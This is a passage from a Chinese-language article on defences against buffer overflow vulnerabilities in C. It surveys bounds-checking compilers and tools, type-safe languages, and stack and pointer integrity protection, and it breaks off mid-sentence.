  Richard Jones和Paul Kelly开发了一个gcc的补丁,用来实现对C程序完全的数组边界检
查。由于没有改变指针的含义,所以被编译的程序和其它的gcc模块具有很好的兼容性。更进
一步的是,他们由此从没有指针的表达式中导出了一个“基”指针,然后通过检查这个基指针
来侦测表达式的结果是否在容许的范围之内。

  当然,这样付出的性能上的代价是巨大的:对于一个频繁使用指针的程序,比如向量乘
法,将由于指针的频繁使用而使速度比本来慢30倍。这个编译器目前还很不成熟;一些复杂的
程序还不能在这个上面编译,执行通过。

2、 Compaq C 编译器

Compaq公司为Alpha CPU开发的C编译器支持有限度的边界检查(使用check_bounds参数)。
这些限制是:

只有显式的数组引用才被检查,比如“a[3]”会被检查,而“*(a+3)”则不会。

由于所有的C数组在传送的时候是指针传递的,所以传递给函数的的数组不会被检查。

带有危险性的库函数如strcpy不会在编译的时候进行边界检查,即便是指定了边界检查。

  由于在C语言中利用指针进行数组操作和传递是如此的频繁,因此这种局限性是非常严重
的。通常这种边界检查用来程序的查错,而且不能保证不发生缓冲区溢出的漏洞。

3、 Purify:内存存取检查

Purify是C程序调试时查看内存使用的工具。Purify使用“目标代码插入”技术来检查所有的
内存存取。通过用Purify连接工具连接,可执行代码在执行的时候数组的所有引用来保证其合
法性。这样带来的性能上的损失要下降3-5倍。

4、 类型-安全语言

  所有的缓冲区溢出漏洞都源于C语言缺乏类型安全。如果只有类型-安全的操作才可以被
允许执行,这样就不可能出现对变量的强制操作。如果作为新手,可以推荐使用具有类型-安
全的语言如Java。但是作为Java执行平台的Java虚拟机是C程序,因此通过攻击JVM的一条途径
是使JVM的缓冲区溢出。

四.4 程序指针完整性检查

  程序指针完整性检查和边界检查有略微的不同,程序指针完整性检查在程序指针被引用
之前检测到它的改变。因此,即使一个攻击者成功地改变了程序的指针,由于系统事先检测到
了指针的改变,因此这个指针将不会被使用。

  与数组边界检查相比,这种方法不能解决所有的缓冲区溢出问题;采用其它的缓冲区溢
出攻击方法就可以避免这种检测。但是这种方法在性能上有很大的优势,而且在兼容性也很好


程序完整性检查大体上有三个研究方向:

Snarskii为FreeBSD开发了一套定制的能通过监测cpu堆栈来确定缓冲区溢出的libc。

堆栈保护方法所开发的一个编译器,它能够在函数调用的时候自动生成完整性检测代码。

正在开发中的指针保护方法,这种方法类似于堆栈保护,它提供对所有程序指针的完整性的
保护。

1、堆栈监测

  Snarskii为FreeBSD开发了一套定制的能通过监测cpu堆栈来确定缓冲区溢出的libc。这
个应用完全用手工汇编写的,而且只保护libc中的当前有效纪录函数。这个应用达到了设计要
求,对于基于libc库函数的攻击具有很好的防卫,但是不能防卫其它方式的攻击。
2、堆栈保护:编译器生成的有效纪录完整性检测

  堆栈保护是一种提供程序指针完整性检查的编译器技术,通过检查函数活动纪录中的返